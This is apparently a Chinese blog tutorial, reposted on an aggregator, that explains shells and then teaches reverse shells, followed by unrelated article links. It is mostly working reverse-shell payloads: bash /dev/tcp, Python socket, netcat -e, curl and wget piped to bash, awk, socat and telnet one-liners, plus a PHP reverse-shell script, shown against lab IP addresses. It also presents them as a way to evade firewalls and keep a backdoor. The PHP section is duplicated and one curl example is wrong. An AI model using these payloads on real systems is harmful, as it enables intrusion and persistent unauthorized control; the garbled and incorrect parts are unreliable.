反弹shell详细易懂讲解,看这一篇就够了


文章目录

  • 反弹shell详细易懂讲解,看这一篇就够了
    • 一: 基础shell知识
      • 什么是shell,bash与shell的区别?
      • 通俗解释
      • 类型
      • 功能
      • 常见命令
    • 二: 什么是反弹shell
    • 三: 反弹shell类型
      • bash反弹shell
      • Netcat 一句话反弹
      • curl反弹shell
        • 正确姿势
      • wget方式反弹
      • awk反弹 Shell
      • socat反弹 Shell
      • Telnet 反弹 Shell
      • php反弹shell


反弹shell详细易懂讲解,看这一篇就够了

一: 基础shell知识

什么是shell,bash与shell的区别?

bash就是shell的众多小弟中的一个,Shell 是操作系统中提供用户与内核之间交互的一种界面,一个 解释型的程序设计语言,它的小弟有很多,它既可以是图形用户界面(GUI),也可以是命令行界面(CLI)。Shell 主要用于接受用户输入的命令并将其传递给操作系统的内核执行,同时将内核的输出结果返回给用户。

Shell 就像是计算机的“翻译官”,它让我们能够用人类的语言告诉计算机该做什么。我们输入命令,Shell 就把这些命令翻译给计算机内核,让它执行,然后再把结果反馈给我们。

通俗解释

想象一下,你是一个大厨(用户),你有很多食材(计算机资源)和厨房用具(硬件和软件),但你需要一个助手(Shell)来帮你完成具体的操作。

  • 命令行界面 (CLI) Shell:就像是你和助手面对面交流。你告诉助手要做什么(比如“切洋葱”),助手按照你的指令去做。

    • 你说:“显示所有文件。”(输入 ls 命令)
    • 助手展示文件列表给你看。
  • 图形用户界面 (GUI) Shell:就像你在厨房里用菜单和按钮控制助手。比如,你按下一个按钮,助手帮你打开烤箱。

举例子

假设你想整理房间(操作计算机文件):

  • 你告诉助手:“把书移到书架上。”(输入 mv book.txt /books 命令)
  • 助手就会帮你把书移到书架上(把文件移动到指定目录)。

Shell 其实就是你和计算机沟通的桥梁,帮助你更方便地控制和管理计算机。

类型

  1. 命令行界面 (CLI) Shell

    • Bash(Bourne Again Shell):最常见的 Unix/Linux Shell,功能强大,广泛使用。
    • Sh(Bourne Shell):较老的 Shell,Bash 的前身。
    • Zsh(Z Shell):类似于 Bash,但有更多的功能和可配置性。
    • Csh(C Shell):语法类似于 C 语言,有些特性与其他 Shell 不同。
    • Ksh(Korn Shell):综合了很多其他 Shell 的特性。
  2. 图形用户界面 (GUI) Shell

    • Windows Explorer:Windows 操作系统中的默认图形界面。
    • GNOME Shell:Linux 系统中 GNOME 桌面环境的图形界面。
    • KDE Plasma:Linux 系统中 KDE 桌面环境的图形界面。

功能

  • 命令解释:将用户输入的命令解释并传递给操作系统执行。
  • 脚本编写:用户可以编写脚本文件,以批处理的方式执行一系列命令。
  • 环境管理:提供环境变量管理和配置的功能。
  • 任务控制:允许用户启动、停止、挂起和管理任务。

常见命令

  • 文件操作:如 lscpmvrm 等。
  • 系统信息:如 unamedftopps 等。
  • 网络操作:如 pingnetstatssh 等。
  • 文本处理:如 catgrepawksed 等。

二: 什么是反弹shell

通常情况下,shell 是指你通过命令行直接控制一台计算机。但在反弹 shell 的情况下,目标计算机主动连接到攻击者的计算机,从而绕过防火墙和其他安全措施

为什么要反弹Shell

反弹Shell通常用于以下情形:被控端因防火墙受限、权限不足、端口被占用等。通过反弹Shell,攻击者可以绕过这些限制,实现对目标系统的控制。

假设我们攻击了一台机器,并在该机器上打开了一个端口,攻击者可以在自己的机器上连接目标机器(目标IP:目标端口),这是一种常规的正向连接形式,如远程桌面、Web服务、SSH、Telnet等。

正向连接失效的情况

在以下情况下,正向连接可能无法使用:

  1. 客户机在局域网内,攻击者无法直接连接。
  2. 目标机器的IP动态改变,无法持续控制。
  3. 由于防火墙限制,目标机器只能发送请求,不能接收请求。
  4. 对于病毒、木马等恶意软件,受害者何时中招、网络环境、开关机时间等情况都是未知的。
  5. Webshell下执行命令不交互,为了提权或进行其它操作,必须反弹Shell。
  6. 为了提权或执行其它操作,需要一个反弹 shell 作为后门,即使 webshell 被发现删除,也能保持控制权。

让受害者主机主动连接攻击者的服务端,才是好方法

三: 反弹shell类型

bash反弹shell

Netcat是一个功能强大的网络工具,可以用来创建反弹Shell。

  1. 目标机器(被控机器)执行以下命令:

    /bin/bash -i >& /dev/tcp/攻击者IP/攻击者端口 0>&1
    

    解释:

    • /bin/bash -i:启动一个交互式的Bash Shell。
    • >& /dev/tcp/攻击者IP/攻击者端口:将Bash的标准输入、标准输出和标准错误重定向到攻击者的IP和端口。
    • /dev/tcp/:Linux中的一个特殊文件, 打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
    • Socket(套接字):计算机网络中用于通信的一种机制,允许两台设备(例如计算机或服务器)通过网络进行数据传输。Socket是网络编程的基础,广泛应用于客户端-服务器模型中,用于建立连接并进行数据交换。
    • 0>&1:将标准输入重定向到标准输出。
  2. 攻击者机器上监听端口:

    nc -lvp 攻击者端口
    

    解释:

    • nc:启动Netcat。
    • -lvp:监听模式、详细输出、指定端口。

扩展:如果目标机器上有Python环境,也可以使用Python脚本实现反弹Shell。

  1. 目标机器(被控机器)执行以下Python代码:

    python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",攻击者端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
    
  2. 攻击者机器上监听端口:

    nc -lvp 攻击者端口
    

演示

攻击机(kali):10.73.127.154

目标机(centos): 10.73.127.144

先在攻击者机器上监听端口8888(随便那个端口都可以)

nc -lvp 8888

在这里插入图片描述

接着目标机执行bash命令,连接到攻击机

 bash -i >& /dev/tcp/10.73.127.154/8888 0>&1

在这里插入图片描述

接着返回攻击机,执行一些命令

在这里插入图片描述

Netcat 一句话反弹

1.在攻击者机器上,继续监听某个端口即可

nc -lvp 攻击者端口

2.目标机,目标机要有nc。

nc 10.73.127.154. 8888 -e /bin/bash

使用 Netcat (nc) 工具建立一个 TCP 会话连接,将本地的 Bash Shell 通过这个会话反弹给目标主机 (192.168.31.151)。

  • nc: 调用 Netcat 工具。Netcat 是一个功能强大的网络工具,可以用于读取和写入网络连接。
  • 10.73.127.154: 指定攻击机的 IP 地址。此处表示攻击者
  • 8888: 指定攻击机上的端口号。此处表示攻击者机器上监听的端口。
  • -e /bin/bash: 将本地的 Bash Shell 绑定到 Netcat 连接上。当连接建立时,目标主机上会运行 Bash Shell,从而使攻击者可以远程执行命令。

演示

1.攻击者机器上继续监听端口8888

2.目标机安装nc,如果安装nc提示:软件包 2:nmap-ncat-6.40-19.el7.x86_64 已安装并且是最新版本,无须任何处理,就需要手动安装NC,参考这篇文章 :centos7 安装NetCat - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/181528383)

在这里插入图片描述

2.这里我还是用另一个kali作为目标机来演示,

nc 10.73.127.154 8888 -e /bin/bash

目标机

在这里插入图片描述

攻击机

在这里插入图片描述

curl反弹shell

curl 是一个命令行工具,用于向服务器发送请求和获取数据。在反弹 Shell 的场景中,curl 可以用来通过 HTTP 请求发送命令,并将命令的输出发送到攻击者的服务器。

1.在攻击者机器上,使用 Netcat 监听端口 8888

nc -lvp 8888
  • -l:监听模式(listen)。
  • -v:详细模式(verbose)。
  • -p:指定端口(port)。

2.目标机器(发起连接)

在被控机器上,通过 Webshell 或其他方式执行以下 curl 命令:

curl -s -X POST http://10.73.127.154:8888 --data-binary @/bin/bash
  • -s:静默模式(silent),不输出进度信息。
  • -X POST:指定 HTTP POST 方法。
  • --data-binary @/bin/bash:将 /bin/bash 的输出作为二进制数据发送到攻击者服务器。

扩展:使用 Python 的 HTTP.server 作为监听服务器(这个是错的!!!,看下面解释,并带正确姿势)

另一种方法是使用 Python 内置的 HTTP 服务器来监听端口并处理连接:

1.攻击者机器(使用 Python HTTP 服务器)

在攻击者机器上,运行以下命令启动 HTTP 服务器:

python3 -m http.server 8888

2.目标机器(发起连接)

在被控机器上,通过 Webshell 或其他方式执行以下 curl 命令:

curl http://10.73.127.154:8888 --output - | bash
  • --output -:将响应输出到标准输出(即终端)。
  • | bash:将输出传递给 Bash 解释执行。

演示

1.攻击者机器上继续监听端口8888,这次用Python HTTP 服务器监听一下

python3 -m http.server 8888

在这里插入图片描述

2.目标机器发送 curl请求,就在这个时候出错了,

bash: 行 1: 未预期的记号 “newline” 附近有语法错误
bash: 行 1: `’

在这里插入图片描述

查了资料才知道

出现这个错误是因为使用了错误的方法来尝试通过 HTTP 请求传输 shell 命令。实际上,当访问一个 URL(例如,通过 curl),它会返回 HTML 内容,而不是你期望的 shell 命令。这就是为什么你会看到 <!DOCTYPE HTML>,这是一个 HTML 文件的开头标记。

正确姿势

如果使用 HTTP 来传输命令,可以使用一个简单的 Python HTTP 服务器来接受命令并执行。在攻击者机器上运行一个 Python 服务器脚本来处理传入的请求。

  1. 在攻击者机器上创建一个 Python 服务器脚本

    创建一个名为 http_shell_server.py 的脚本:

    import http.server
    import socketserver
    import subprocessclass Handler(http.server.SimpleHTTPRequestHandler):def do_GET(self):command = self.path[1:]  # Get the command from the URL pathtry:output = subprocess.check_output(command, shell=True)self.send_response(200)self.send_header("Content-type", "text/plain")self.end_headers()self.wfile.write(output)except subprocess.CalledProcessError as e:self.send_response(500)self.end_headers()self.wfile.write(str(e).encode())with socketserver.TCPServer(("", 8888), Handler) as httpd:print("serving at port", 8888)httpd.serve_forever()
    

    启动这个服务器:

    python3 http_shell_server.py
    

    在这里插入图片描述

    2.在被控机器上使用 curl 发送命令

    在被控机器上,通过 Webshell 或其他方式执行以下命令:

    curl http://10.73.127.154:8888/ls
    

    这将向攻击者机器发送 HTTP 请求,并在 URL 中包含要执行的命令(例如 ls)。攻击者机器上的 Python 服务器会接收这个命令并执行它,然后将输出返回给被控机器。

在这里插入图片描述

wget方式反弹

wget 是一个用于从 Web 服务器下载文件的命令行工具。在反弹 Shell 的场景中,wget 可以用来从攻击者的服务器下载一个恶意脚本,并在被控机器上执行该脚本,从而实现反弹 Shell。

1.攻击者机器(监听端口)

在攻击者机器上,使用 Netcat 监听端口 8888

nc -lvp 8888

2.创建恶意脚本

在攻击者机器上,创建一个名为 reverse_shell.sh 的脚本,内容如下:

#!/bin/bash
/bin/bash -i >& /dev/tcp/10.73.127.154/8888 0>&1

将这个脚本放在攻击者的 Web 服务器上,使其可以通过 HTTP 访问。

3.被控机器(下载并执行脚本)

在被控机器上,通过 wget 下载并执行这个脚本:

wget -O - http://10.73.127.154/reverse_shell.sh | bash
  • -O -:将下载的内容输出到标准输出。
  • | bash:将输出通过管道传递给 bash 执行。

工作原理

  1. 攻击者机器

    • 启动 Netcat 监听端口,等待连接。
    • 运行 Web 服务器,使 reverse_shell.sh 脚本可通过 HTTP 访问。
  2. 被控机器

    • 使用 wget 命令从攻击者的 Web 服务器下载 reverse_shell.sh 脚本,并通过管道将其传递给 bash 解释执行。
    • 执行脚本后,被控机器的 Shell 将反弹到攻击者机器的 IP 和端口。

演示

跟curl一样

awk反弹 Shell

awk 主要用于文本处理和数据提取,但也可以执行系统命令。我们可以利用这个特性,通过网络连接反弹一个 shell 到攻击者的机器。

攻击者机器(监听端口)

首先,在攻击者机器上使用 Netcat 监听端口 4444

nc -lvp 4444

被控机器(发起连接)

在被控机器上,通过 awk 命令反弹一个 shell:

awk 'BEGIN {s = "/inet/tcp/0/10.73.127.154/4444"; while (1) { do { printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c) }} close(s) }'
  • BEGIN { ... }awkBEGIN 块用于在处理任何输入数据之前执行一次。
  • s = "/inet/tcp/0/192.168.31.151/4444":定义一个 TCP 连接到攻击者的 IP 和端口。
  • while (1) { ... }:一个无限循环,用于保持连接。
  • printf "> " |& s:将提示符 > 发送到 TCP 连接。
  • if ((s |& getline c) <= 0) break:从连接中读取命令,如果读取失败则退出循环。
  • while (c && (c |& getline) > 0) print $0 |& s:执行从连接中读取的命令,并将输出发送回连接。
  • close(c):关闭当前命令的输出。
  • close(s):关闭 TCP 连接。

socat反弹 Shell

socat 可以创建 TCP 连接,并将本地 shell 的输入和输出重定向到该连接。通过这种方式,可以实现从被控机器反弹一个 shell 到攻击者的机器。

攻击者机器(监听端口)

socat -d -d TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash
  • -d -d:启用详细调试输出。
  • TCP-LISTEN:4444:在端口 4444 上监听 TCP 连接。
  • reuseaddr:允许重新使用本地地址。
  • fork:为每个新的连接创建一个子进程。
  • EXEC:/bin/bash:执行 /bin/bash,将其输入和输出重定向到连接。

被控机器(发起连接)

在被控机器上,通过 socat 命令反弹一个 shell 到攻击者机器:

socat TCP:10.73.127.154:4444 EXEC:/bin/bash
  • TCP:192.168.31.151:4444:连接到攻击者机器的 IP 和端口。
  • EXEC:/bin/bash:执行 /bin/bash,将其输入和输出重定向到连接。

Telnet 反弹 Shell

Telnet 通常用于远程登录到远程服务器或设备,并执行命令。虽然 Telnet 本身不提供加密和身份验证,因此在安全意识强的环境中不建议使用它,但可以利用 Telnet 实现反弹 shell。

*在攻击者机器上监听端口

nc -lvp 4444

或者

telnet -l root -p 4444

在被控机器上发起连接

然后,在被控机器上,利用 Telnet 连接到攻击者机器的 IP 地址和监听的端口:

telnet <attackers_ip> 4444 | /bin/bash | telnet <attackers_ip> 4445

或者使用 Netcat:

nc -e /bin/bash <attackers_ip> 4444

<attackers_ip> 是攻击者机器的 IP 地址。

扩展

攻击机开启两个端口监听,一个用于输入命令,一个用于回显命令执行的结果

nc -l Your_cmd_Port
nc -l Your_result_Port

目标主机触发

telnet Your_IP Your_cmd_Port | /bin/bash | telnet Your_IP Your_result_Port

工控设备中,常常由 telnetd 程序,也可以利用其来开启正向的shell

目标主机开启监听

telnetd -p Your_Port -l /bin/sh

攻击主机正向连接

telnet Your_IP Your_Port

php反弹shell

工作原理

  1. 执行系统命令
    PHP 提供了执行系统命令的函数,如 shell_exec()exec()。攻击者可以在 PHP 脚本中利用这些函数执行系统命令。

  2. 建立反弹连接
    在 PHP 中,攻击者可以构造一个命令,使用 Bash 来建立一个反弹连接到攻击者控制的服务器。这通常通过利用 Bash 的 /dev/tcp 特性来实现。该特性允许 Bash 将数据发送到远程服务器上的指定端口,从而建立一个 TCP 连接。

  3. 重定向输入和输出
    在反弹连接的命令中,攻击者会使用重定向符号 >& 来将命令的输入和输出重定向到网络连接中。这样,攻击者就可以在控制服务器上获取目标服务器上执行命令的结果。

要将php保存成txt文件进行反弹,若为php文件不会反弹成功。

<?php
// 被攻击者主机的 IP 地址和端口
$attacker_ip = 'attackers_ip';
$attacker_port = 4444;// 执行反弹 shell 的命令
$command = "/bin/bash -c 'bash -i >& /dev/tcp/$attacker_ip/$attacker_port 0>&1'";// 执行命令,并将结果输出到 /dev/null,避免在 web 页面显示
shell_exec($command . " > /dev/null 2>&1 &");
?>

立一个反弹连接到攻击者控制的服务器。这通常通过利用 Bash 的 /dev/tcp 特性来实现。该特性允许 Bash 将数据发送到远程服务器上的指定端口,从而建立一个 TCP 连接。

  1. 重定向输入和输出
    在反弹连接的命令中,攻击者会使用重定向符号 >& 来将命令的输入和输出重定向到网络连接中。这样,攻击者就可以在控制服务器上获取目标服务器上执行命令的结果。

要将php保存成txt文件进行反弹,若为php文件不会反弹成功。

<?php
// 被攻击者主机的 IP 地址和端口
$attacker_ip = 'attackers_ip';
$attacker_port = 4444;// 执行反弹 shell 的命令
$command = "/bin/bash -c 'bash -i >& /dev/tcp/$attacker_ip/$attacker_port 0>&1'";// 执行命令,并将结果输出到 /dev/null,避免在 web 页面显示
shell_exec($command . " > /dev/null 2>&1 &");
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/841827.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

车载电子电器架构 —— 应用软件开发(下)

车载电子电器架构 —— 应用软件开发(下) 我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 屏蔽力是信息过载时代一个人的特殊竞争力,任何消耗你的人和事,多看一眼都是你的不对。非必要不费力证…

WWW 2024最佳论文|大型语言模型的机制设计

【摘要】我们研究拍卖机制以支持人工智能生成内容的新兴格式。我们特别研究如何以激励兼容的方式聚合多个法学硕士。在这个问题中&#xff0c;每个代理对随机生成的内容的偏好被描述/编码为 LLM。一个关键动机是为人工智能生成的广告创意设计一种拍卖格式&#xff0c;以结合不同…

《计算机网络微课堂》1-4 计算机网络的定义和分类

本节课我们介绍计算机网络的定义和分类。 首先来看计算机网络的定义&#xff1a;计算机网络的精确定义并未统一&#xff0c;换句话说&#xff0c;全世界没有一个对计算机网络的公认的唯一定义。 这里我们给出一个计算机网络的最简单定义&#xff0c;即计算机网络是一些互相连接…

【LeetCode刷题】滑动窗口思想解决:最大连续1的个数 III、将x减到0的最小操作数

【LeetCode刷题】Day 8 题目1&#xff1a;1004.最大连续1的个数 III思路分析&#xff1a;思路1&#xff1a;暴力枚举zero计数器思路2&#xff1a;滑动窗口zero计数器 题目2&#xff1a;1658. 将x减到0的最小操作数思路分析&#xff1a;思路1&#xff1a;暴力枚举思路2&#xff…

联邦学习(一)

世界第一本“联邦学习”专著——《联邦学习》。作者阅读数书籍《联邦学习实战》。 1.联邦学习概述 在构件全局模型时,其效果与数据被整合在一起进行集中式训练的效果几乎一致,这便是联邦学习提出的动机和核心思想。 核心理念:数据不动模型动,数据可用不可见。 传统训练范式…

Linux|ubuntu22.04安装CUDA最新完整教程

文章目录 一、安装前准备工作查看GPU和型号查看GCC版本*下载gcc12 *检查驱动 二、安装CUDA Toolkit*安装驱动 三、安装后的工作必要操作推荐的操作开启守护进程模式删除本地下载安装包 四、验证删除CUDA常见问题及解决方案还需要安装cuDNN吗&#xff1f;nvcc: No such file or …

贪心-AcWing 1522. 排成最小的数字-XMUOJ石板序列

题目 思路 getline() 是 C 标准库中的一个函数&#xff0c;用于从输入流中读取一行文本&#xff0c;并将其存储为字符串。它可以从标准输入、文件流、字符串流等不同类型的输入流中读取数据。C中istringstream、ostringstream、stringstream详细介绍和使用_c istringstream-CS…

C++之std::is_trivially_copyable(平凡可复制类型检测)

目录 1.C基础回顾 1.1.平凡类型 1.2.平凡可复制类型 1.3.标准布局类型 2.std::is_trivially_copyable 2.1.定义 2.2.使用 2.3.总结 1.C基础回顾 在C11中&#xff0c;平凡类型&#xff08;Trivial Type&#xff09;、平凡可复制类型&#xff08;TrivialCopyable&#x…

Python语言基础学习(下)

目录 一、顺序语句 二、条件语句 (1) if (2) if - else (3) if - elif - else 缩进和代码块 空语句 pass 三、循环语句 while 循环 for 循环 continue break 四、函数 创建函数 调用函数 函数返回 函数变量 函数递归 关键字参数 五、列表和元组 创建列表 …

Windows、Linux下,基于QT的打包方法

整理这篇文档的意义在于&#xff1a;自己走了很多弯路&#xff0c;淋过雨所以想为别人撑伞&#xff0c;也方便回顾&#xff0c;仅供参考 ps: 第一次做Windows下打包&#xff0c;用了2小时&#xff0c;第二次20秒第一次做Linux(ubuntu)下打包&#xff0c;用了8小时&#xff0c;…

不拍视频,不直播怎么在视频号卖货赚钱?开一个它就好了!

大家好&#xff0c;我是电商糖果 视频号这两年看着抖音卖货的热度越来越高&#xff0c;也想挤进电商圈。 于是它模仿抖音推出了自己的电商平台——视频号小店。 只要商家入驻视频号小店&#xff0c;就可以在视频号售卖商品。 具体怎么操作呢&#xff0c;需要拍视频&#xf…

【顶刊新文】nature plants|植物高度作为高山碳固存和生态系统对变暖响应的指标

文章简介 论文名称&#xff1a;Plant height as an indicator for alpine carbon sequestration and ecosystem response to warming&#xff08;植物高度作为高山碳固存和生态系统对变暖响应的指标&#xff09; 第一作者及单位&#xff1a;Quan Quan&#xff08;中国科学院地…

【ai】pycharm安装langchain 相关module

pycharm module install 【Python学习 】一篇文章教你PyCharm如何快速安装module 【python】pycharm如何安装python的模块包版本 2024.1.2 RC2 找到当前的虚拟项目 找到解释器 我现在配置为专门为openai-start 准备的3.10 版本+ 号可以找到模块

pdf拆分成多个文件 pdf拆分成一页一页

pdf拆分成多个文件的方法。在现代办公环境中&#xff0c;PDF文件因其跨平台、保持格式一致等特性&#xff0c;成为了广泛使用的文件格式。然而&#xff0c;有时我们需要对PDF文件进行拆分&#xff0c;以便更好地管理和使用其中的内容。本文将详细介绍PDF拆分的方法和步骤&#…

一.架构设计

架构采用 ddd 架构&#xff0c;不同于传统简单的三层的架构&#xff0c;其分层的思想对于大家日后都是很有好处的&#xff0c;会给大家的思想层级&#xff0c;提高很多。 传统的项目 现有的架构 采取ddd架构&#xff0c;给大家在复杂基础上简化保留精髓&#xff0c;一步步进行…

LabVIEW直方图应用解析

概述 在LabVIEW中&#xff0c;直方图是一种重要的工具&#xff0c;用于分析和展示数据的分布情况。它通过将数据分成若干区间并绘制对应频数&#xff0c;可以帮助用户了解数据的集中趋势、离散程度和分布形态。本文将详细介绍LabVIEW中直方图的使用方法、适用场合、实际意义及…

19 QinQ技术(Vlan两层封装)

1 什么是QinQ&#xff1f; QinQ&#xff08;802.1Q-in-802.1Q&#xff09;&#xff0c;也叫做VLAN Stacking或Double VLAN&#xff0c;由IEEE 802.1ad标准定义&#xff0c;**是一项扩展VLAN空间的技术&#xff0c;**通过在802.1Q标签报文的基础上再增加一层802.1Q的Tag来达到扩…

工具使用-网络性能测试工具(iperf)-TCP 和 UDP 的吞吐量-包转发率参数的理解

时间戳&#xff1a;2024年5月26日15:18:39 iperf 和 netperf 都是最常用的网络性能测试工具&#xff0c;测试 TCP 和 UDP 的吞吐量。它们都以客户端和服务器通信的方式&#xff0c;测试一段时间内的平均吞吐量。 接下来&#xff0c;我们就以 iperf 为例&#xff0c;看一下 TC…

9.2 Go语言入门(包和导入)

Go语言入门&#xff08;包和导入&#xff09; 目录一、包和导入1. 包&#xff08;Package&#xff09;1.1 包的定义1.2 包的作用1.3 main 包1.4 非 main 包 2. 导入&#xff08;Import&#xff09;2.1 导入标准库2.2 导入第三方包2.3 导入本地包2.4 导入别名2.5 导入并调用初始…

国内最受欢迎的7大API供应平台对比和介绍||电商API数据采集接口简要说明

本文将介绍7款API供应平台&#xff1a;聚合数据、百度APIStore、Apix、数说聚合、通联数据、HaoService、datasift 。排名不分先后&#xff01; 免费实用的API接口 第一部分 1、聚合数据&#xff08;API数据接口_开发者数据定制&#xff09; 2、百度API Store(API集市_APIStore…